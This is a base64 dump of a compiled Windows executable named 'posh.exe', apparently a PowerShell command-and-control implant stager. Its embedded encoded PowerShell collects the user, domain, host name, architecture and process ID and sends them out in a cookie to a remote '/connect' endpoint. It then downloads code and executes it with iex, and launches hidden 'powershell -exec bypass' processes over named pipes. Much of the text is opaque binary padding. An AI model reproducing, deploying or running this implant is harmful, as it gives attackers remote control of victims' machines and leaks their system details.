sAEEARgAwAEEATwBnAEEANgBBAEYAQQBBAFkAUQBCAHkAQQBIAE0AQQBaAFEAQgBGAEEASABnAEEAWQBRAEIAagBBAEgAUQBBAEsAQQBBAGsAQQBHAFEAQQBMAEEAQQBpAEEARwBRAEEAWgBBAEEAdgBBAEUAMABBAFQAUQBBAHYAQQBIAGsAQQBlAFEAQgA1AEEASABrAEEASQBnAEEAcwBBAEMAUQBBAGIAZwBCADEAQQBHAHcAQQBiAEEAQQBwAEEARABzAEEARABRAEEASwBBAEMAUQBBAGEAdwBBAGcAQQBEADAAQQBJAEEAQgBiAEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGQAQQBCAHAAQQBHADAAQQBaAFEAQgBkAEEARABvAEEATwBnAEIAUQBBAEcARQBBAGMAZwBCAHoAQQBHAFUAQQBSAFEAQgA0AEEARwBFAEEAWQB3AEIAMABBAEMAZwBBAEkAZwBBAHcAQQBEAEUAQQBMAHcAQQB3AEEARABrAEEATAB3AEEAeQBBAEQAQQBBAE0AUQBBADMAQQBDAEkAQQBMAEEAQQBpAEEARwBRAEEAWgBBAEEAdgBBAEUAMABBAFQAUQBBAHYAQQBIAGsAQQBlAFEAQgA1AEEASABrAEEASQBnAEEAcwBBAEMAUQBBAGIAZwBCADEAQQBHAHcAQQBiAEEAQQBwAEEARABzAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgByAEEAQwBBAEEATABRAEIAcwBBAEgAUQBBAEkAQQBBAGsAQQBHAFEAQQBLAFEAQQBnAEEASABzAEEAWgBRAEIANABBAEcAawBBAGQAQQBCADkAQQBDAEEAQQBEAFEAQQBLAEEAQwBRAEEAZAB3AEIAagBBAEMAQQBBAFAAUQBBAGcAQQBFADQAQQBaAFEAQgAzAEEAQwAwAEEAVAB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFADQAQQBaAFEAQgAwAEEAQwA0AEEAVgB3AEIAbABBAEcASQBBAFEAdwBCAHMAQQBHAGsAQQBaAFEAQgB1AEEASABRAEEATwB3AEEAZwBBAEEAMABBAEMAZwBBAGsAQQBIAGMAQQBZAHcAQQB1AEEARgBVAEEAYwB3AEIAbABBAEUAUQBBAFoAUQBCAG0AQQBHAEUAQQBkAFEAQgBzAEEASABRAEEAUQB3AEIAeQBBAEcAVQBBAFoAQQBCAGwAQQBHADQAQQBkAEEAQgBwAEEARwBFAEEAYgBBAEIAegBBAEMAQQBBAFAAUQBBAGcAQQBDAFEAQQBkAEEAQgB5AEEASABVAEEAWgBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBkAHcAQgBqAEEAQwA0AEEAVQBBAEIAeQBBAEcAOABBAGUAQQBCADUAQQBDADQAQQBRAHcAQgB5AEEARwBVAEEAWgBBAEIAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBRAHcAQgB5AEEARwBVAEEAWgBBAEIAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEARABzAEEARABRAEEASwBBAEMAUQBBAGEAQQBBADkAQQBDAEkAQQBJAGcAQQBOAEEAQQBvAEEAYQBRAEIAbQBBAEMAQQBBAEsAQQBBAGsAQQBHAGcAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAMwBBAEcATQBBAEwAZwBCAEkAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEIAegBBAEMANABBAFEAUQBCAGsAQQBHAFEAQQBLAEEAQQBpAEEARQBnAEEAYgB3AEIAegBBAEgAUQBBAEkAZwBBAHMAQQBDAFEAQQBhAEEAQQBwAEEASAAwAEEARABRAEEASwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBTAEEAQgBsAEEARwBFAEEAWgBBAEIAbABBAEgASQBBAGMAdwBBAHUAQQBFAEUAQQBaAEEAQgBrAEEAQwBnAEEASQBnAEIAVgBBAEgATQBBAFoAUQBCAHkAQQBDADAAQQBRAFEAQgBuAEEARwBVAEEAYgBnAEIAMABBAEMASQBBAEwAQQBBAGkAQQBFADAAQQBiAHcAQgA2AEEARwBrAEEAYgBBAEIAcwBBAEcARQBBAEwAdwBBADEAQQBDADQAQQBNAEEAQQBnAEEAQwBnAEEAWQB3AEIAdgBBAEcAMABBAGMAQQBCAGgAQQBIAFEAQQBhAFEAQgBpAEEARwB3AEEAWgBRAEEANwBBAEMAQQBBAFQAUQBCAFQAQQBFAGsAQQBSAFEAQQBnAEEARABrAEEATABnAEEAdwBBAEQAcwBBAEkAQQBCAFgAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEMAQQBBAFUAQQBCAG8AQQBHADgAQQBiAGcAQgBsAEEAQwBBAEEAVAB3AEIAVABBAEMAQQBBAE4AdwBBAHUAQQBEAFUAQQBPAHcAQQBnAEEARgBRAEEAYwBnAEIAcABBAEcAUQBBAFoAUQBCAHUAQQBIAFEAQQBMAHcAQQAxAEEAQwA0AEEATQBBAEEANwBBAEMAQQBBAFMAUQBCAEYAQQBFADAAQQBiAHcAQgBpAEEARwBrAEEAYgBBAEIAbABBAEMAOABBAE8AUQBBAHUAQQBEAEEAQQBLAFEAQQBpAEEAQwBrAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgBqAEEARwA4AEEAYgB3AEIAcgBBAEcAawBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBOAEEAQQBvAEEASgBBAEIAMwBBAEcATQBBAEwAZwBCAEkAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEIAegBBAEMANABBAFEAUQBCAGsAQQBHAFEAQQBLAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBUAGcAQgBsAEEASABRAEEATABnAEIASQBBAEgAUQBBAGQAQQBCAHcAQQBGAEkAQQBaAFEAQgB4AEEASABVAEEAWgBRAEIAegBBAEgAUQBBAFMAQQBCAGwAQQBHAEUAQQBaAEEAQgBsAEEASABJAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHYAQQBHADgAQQBhAHcAQgBwAEEARwBVAEEATABBAEEAZwBBAEMASQBBAFUAdwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEIASgBBAEUAUQBBAFAAUQBBAGsAQQBFAE0AQQBiAHcAQgB2AEEARwBzAEEAYQBRAEIAbABBAEMASQBBAEsAUQBBAE4AQQBBAG8AQQBmAFEAQQBnAEEAQwBRAEEAZAB3AEIAagBBAEMAQQBBAGYAUQBBAE4AQQBBAG8AQQBaAGcAQgAxAEEARwA0AEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBjAEEAQgB5AEEARwBrAEEAYgBRAEIAbABBAEgASQBBAEkAQQBCADcAQQBBADAAQQBDAGcAQgBwAEEARwBZAEEASQBBAEEAbwBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgAxAEEASABNAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCAHQAQQBHAFUAQQBJAEEAQQB0AEEARwBVAEEAYwBRAEEAZwBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBqAEEARwA4AEEAYgBRAEIAdwBBAEgAVQBBAGQAQQBCAGwAQQBIAEkAQQBiAGcAQgBoAEEARwAwAEEAWgBRAEEAcgBBAEMASQBBAEoAQQBBAGkAQQBDAGsAQQBlAHcAQQBrAEEASABVAEEAUABRAEEAaQBBAEUANABBAFYAQQBBAGcAQQBFAEUAQQBWAFEAQgBVAEEARQBnAEEAVAB3AEIAUwBBAEUAawBBAFYAQQBCAFoAQQBGAHcAQQBVAHcAQgBaAEEARgBNAEEAVgBBAEIARgBBAEUAMABBAEkAZwBCADkAQQBHAFUAQQBiAEEAQgB6AEEARwBVAEEAZQB3AEEAawBBAEgAVQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgAyAEEARABvAEEAZABRAEIAegBBAEcAVQBBAGMAZwBCAHUAQQBHAEUAQQBiAFEAQgBsAEEASAAwAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHkAQQBHAFUAQQBJAEEAQQA5AEEAQwBBAEEAVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARgBRAEEAWgBRAEIANABBAEgAUQBBAEwAZwBCAEYAQQBHADQAQQBZAHcAQgB2AEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAFgAUQBBADYAQQBEAG8AQQBWAFEAQgB1AEEARwBrAEEAWQB3AEIAdgBBAEcAUQBBAFoAUQBBAHUAQQBFAGMAQQBaAFEAQgAwAEEARQBJAEEAZQBRAEIAMABBAEcAVQBBAGMAdwBBAG8AQQBDAEkAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEgAVQBBAGMAdwBCAGwAQQBIAEkAQQBaAEEAQgB2AEEARwAwAEEAWQBRAEIAcABBAEcANABBAFgAQQBBAGsAQQBIAFUAQQBPAHcAQQBrAEEASABVAEEATwB3AEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBZAHcAQgB2AEEARwAwAEEAYwBBAEIAMQBBAEgAUQBBAFoAUQBCAHkAQQBHADQAQQBZAFEAQgB0AEEARwBVAEEATwB3AEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBVAEEAQgBTAEEARQA4AEEAUQB3AEIARgBBAEYATQBBAFUAdwBCAFAAQQBGAEkAQQBYAHcAQgBCAEEARgBJAEEAUQB3AEIASQBBAEUAawBBAFYAQQBCAEYAQQBFAE0AQQBWAEEAQgBWAEEARgBJAEEAUgBRAEEANwBBAEMAUQBBAGMAQQBCAHAAQQBHAFEAQQBJAGcAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAE4AZwBBADAAQQBDAEEAQQBQAFEAQQBnAEEARgBzAEEAUQB3AEIAdgBBAEcANABBAGQAZwBCAGwAQQBIAEkAQQBkAEEAQgBkAEEARABvAEEATwBnAEIAVQBBAEcAOABBAFEAZwBCAGgAQQBIAE0AQQBaAFEAQQAyAEEARABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBrAEEASABBAEEAYwBnAEIAbABBAEMAawBBAEQAUQBBAEsAQQBDAFEAQQBjAEEAQgB0AEEAQwBBAEEAUABRAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBYAEEARwBVAEEAWQBnAEIAagBBAEcAdwBBAGEAUQBCAGwAQQBHADQAQQBkAEEAQQBnAEEAQwAwAEEAUQB3AEIAdgBBAEcAOABBAGEAdwBCAHAAQQBHAFUAQQBJAEEAQQBrAEEASABBAEEATgBnAEEAMABBAEMAawBBAEwAZwBCAGsAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEEAaQBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIATwBBAEUARQBBAE8AZwBBADAAQQBEAFEAQQBNAHcAQQB2AEEARwBNAEEAYgB3AEIAdQBBAEcANABBAFoAUQBCAGoAQQBIAFEAQQBJAGcAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGIAUQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBWAEEAQgBsAEEASABnAEEAZABBAEEAdQBBAEUAVQBBAGIAZwBCAGoAQQBHADgAQQBaAEEAQgBwAEEARwA0AEEAWgB3AEIAZABBAEQAbwBBAE8AZwBCAFYAQQBHADQAQQBhAFEAQgBqAEEARwA4AEEAWgBBAEIAbABBAEMANABBAFIAdwBCAGwAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFEAdwBCAHYAQQBHADQAQQBkAGcAQgBsAEEASABJAEEAZABBAEIAZABBAEQAbwBBAE8AZwBCAEcAQQBIAEkAQQBiAHcAQgB0AEEARQBJAEEAWQBRAEIAegBBAEcAVQBBAE4AZwBBADAAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEMAZwBBAEoAQQBCAHcAQQBHADAAQQBLAFEAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGIAUQBBAGcAQQBIADAAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAMABBAEkAQQBBADkAQQBDAEEAQQBjAEEAQgB5AEEARwBrAEEAYgBRAEIAbABBAEgASQBBAEQAUQBBAEsAQQBHAGsAQQBaAGcAQQBnAEEAQwBnAEEASgBBAEIAdwBBAEcAMABBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgB3AEEARwAwAEEAZgBBAEEAZwBBAEcAawBBAFoAUQBCADQAQQBIADAAQQBJAEEAQgBsAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAE4AQQBBAG8AQQBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAMABBAGMAdwBCAHMAQQBHAFUAQQBaAFEAQgB3AEEAQwBBAEEATQBRAEEAdwBBAEEAMABBAEMAZwBCAHcAQQBIAEkAQQBhAFEAQgB0AEEARwBVAEEAYwBnAEEAZwBBAEgAdwBBAEkAQQBCAHAAQQBHAFUAQQBlAEEAQQBnAEEASAAwAEEAAIdhWQBRAEIAawBBAEcAUQBBAEwAUQBCAFUAQQBIAGsAQQBjAEEAQgBsAEEAQwBBAEEATABRAEIAaABBAEgATQBBAGMAdwBCAGwAQQBHADAAQQBZAGcAQgBzAEEASABrAEEASQBBAEEAaQBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEgASQBBAFoAUQBBAGkAQQBEAHMAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAawBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQBBAEIAcABBAEgAQQBBAFoAUQBCAHoAQQBDADQAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAawBBAEYAQQBBAGEAUQBCAHcAQQBHAFUAQQBRAHcAQgBzAEEARwBrAEEAWgBRAEIAdQBBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAbgBBAEYAQQBBAGIAdwBCAHoAQQBHAGcAQQBUAFEAQgBUAEEAQwBjAEEASwBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBjAEEAQgBwAEEAQwA0AEEAUQB3AEIAdgBBAEcANABBAGIAZwBCAGwAQQBHAE0AQQBkAEEAQQBvAEEAQwBrAEEATwB3AEEATgBBAEEAbwBBAEoAQQBCAHcAQQBIAEkAQQBJAEEAQQA5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAEwAUQBCAHYAQQBHAEkAQQBhAGcAQgBsAEEARwBNAEEAZABBAEEAZwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUwBRAEIAUABBAEMANABBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEAVQBnAEIAbABBAEcARQBBAFoAQQBCAGwAQQBIAEkAQQBLAEEAQQBrAEEASABBAEEAYQBRAEEAcABBAEQAcwBBAEkAQQBBAE4AQQBBAG8AQQBKAEEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGMAQQBCAHkAQQBDADQAQQBVAGcAQgBsAEEARwBFAEEAWgBBAEIATQBBAEcAawBBAGIAZwBCAGwAQQBDAGcAQQBLAFEAQQBnAEEAQwAwAEEAYwBnAEIAbABBAEgAQQBBAGIAQQBCAGgAQQBHAE0AQQBaAFEAQQBnAEEAQwBJAEEAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCADQAQQBHAFUAQQBZAHcAQQBnAEEARwBJAEEAZQBRAEIAdwBBAEcARQBBAGMAdwBCAHoAQQBDAEEAQQBMAFEAQgBPAEEARwA4AEEAYgBnAEIAcABBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBZAFEAQgBqAEEASABRAEEAYQBRAEIAMgBBAEcAVQBBAEkAQQBBAHQAQQBIAGMAQQBhAFEAQgB1AEEARwBRAEEAYgB3AEIAMwBBAEgATQBBAGQAQQBCADUAQQBHAHcAQQBaAFEAQQBnAEEARwBnAEEAYQBRAEIAawBBAEcAUQBBAFoAUQBCAHUAQQBDAEEAQQBMAFEAQgBsAEEAQwBBAEEASQBnAEEAcwBBAEMASQBBAEkAZwBBAE4AQQBBAG8AQQBTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFUAdwBCADUAQQBIAE0AQQBkAEEAQgBsAEEARwAwAEEATABnAEIAVQBBAEcAVQBBAGUAQQBCADAAQQBDADQAQQBSAFEAQgB1AEEARwBNAEEAYgB3AEIAawBBAEcAawBBAGIAZwBCAG4AQQBGADAAQQBPAGcAQQA2AEEARgBVAEEAVABnAEIASgBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBMAGcAQgBIAEEARwBVAEEAZABBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEARgBzAEEAVQB3AEIANQBBAEgATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBEAEEARwA4AEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBGADAAQQBPAGcAQQA2AEEARQBZAEEAYwBnAEIAdgBBAEcAMABBAFEAZwBCAGgAQQBIAE0AQQBaAFEAQQAyAEEARABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBrAEEASABJAEEASwBRAEEAcABBAEMAawBBAACHgVkAUQBCAGsAQQBHAFEAQQBMAFEAQgBVAEEASABrAEEAYwBBAEIAbABBAEMAQQBBAEwAUQBCAGgAQQBIAE0AQQBjAHcAQgBsAEEARwAwAEEAWQBnAEIAcwBBAEgAawBBAEkAQQBBAGkAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFEAdwBCAHYAQQBIAEkAQQBaAFEAQQBpAEEARABzAEEASQBBAEEATgBBAEEAbwBBAEoAQQBCAHcAQQBHAGsAQQBJAEEAQQA5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAEwAUQBCAHYAQQBHAEkAQQBhAGcAQgBsAEEARwBNAEEAZABBAEEAZwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUwBRAEIAUABBAEMANABBAFUAQQBCAHAAQQBIAEEAQQBaAFEAQgB6AEEAQwA0AEEAVABnAEIAaABBAEcAMABBAFoAUQBCAGsAQQBGAEEAQQBhAFEAQgB3AEEARwBVAEEAUQB3AEIAcwBBAEcAawBBAFoAUQBCAHUAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAWgBRAEIAaABBAEcAMABBAEsAQQBBAG4AQQBGAEEAQQBiAHcAQgB6AEEARwBnAEEAVABRAEIAVABBAEYAQQBBAGMAZwBCAHYAQQBIAGcAQQBlAFEAQQBuAEEAQwBrAEEATwB3AEEAZwBBAEEAMABBAEMAZwBBAGsAQQBIAEEAQQBhAFEAQQB1AEEARQBNAEEAYgB3AEIAdQBBAEcANABBAFoAUQBCAGoAQQBIAFEAQQBLAEEAQQBwAEEARABzAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEARwA0AEEAWgBRAEIAMwBBAEMAMABBAGIAdwBCAGkAQQBHAG8AQQBaAFEAQgBqAEEASABRAEEASQBBAEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQBrAEEAVAB3AEEAdQBBAEYATQBBAGQAQQBCAHkAQQBHAFUAQQBZAFEAQgB0AEEARgBJAEEAWgBRAEIAaABBAEcAUQBBAFoAUQBCAHkAQQBDAGcAQQBKAEEAQgB3AEEARwBrAEEASwBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAawBBAEgAQQBBAGMAZwBBAHUAQQBGAEkAQQBaAFEAQgBoAEEARwBRAEEAVABBAEIAcABBAEcANABBAFoAUQBBAG8AQQBDAGsAQQBJAEEAQQB0AEEASABJAEEAWgBRAEIAdwBBAEcAdwBBAFkAUQBCAGoAQQBHAFUAQQBJAEEAQQBpAEEASABBAEEAYgB3AEIAMwBBAEcAVQBBAGMAZwBCAHoAQQBHAGcAQQBaAFEAQgBzAEEARwB3AEEASQBBAEEAdABBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBJAEEAQgBpAEEASABrAEEAYwBBAEIAaABBAEgATQBBAGMAdwBBAGcAQQBDADAAQQBUAGcAQgB2AEEARwA0AEEAYQBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAEUAQQBZAHcAQgAwAEEARwBrAEEAZABnAEIAbABBAEMAQQBBAEwAUQBCADMAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEgAUQBBAGUAUQBCAHMAQQBHAFUAQQBJAEEAQgBvAEEARwBrAEEAWgBBAEIAawBBAEcAVQBBAGIAZwBBAGcAQQBDADAAQQBaAFEAQQBnAEEAQwBJAEEATABBAEEAaQBBAEMASQBBAEQAUQBBAEsAQQBFAGsAQQBSAFEAQgBZAEEAQwBBAEEASwBBAEIAYgBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAVgBBAEIAbABBAEgAZwBBAGQAQQBBAHUAQQBFAFUAQQBiAGcAQgBqAEEARwA4AEEAWgBBAEIAcAB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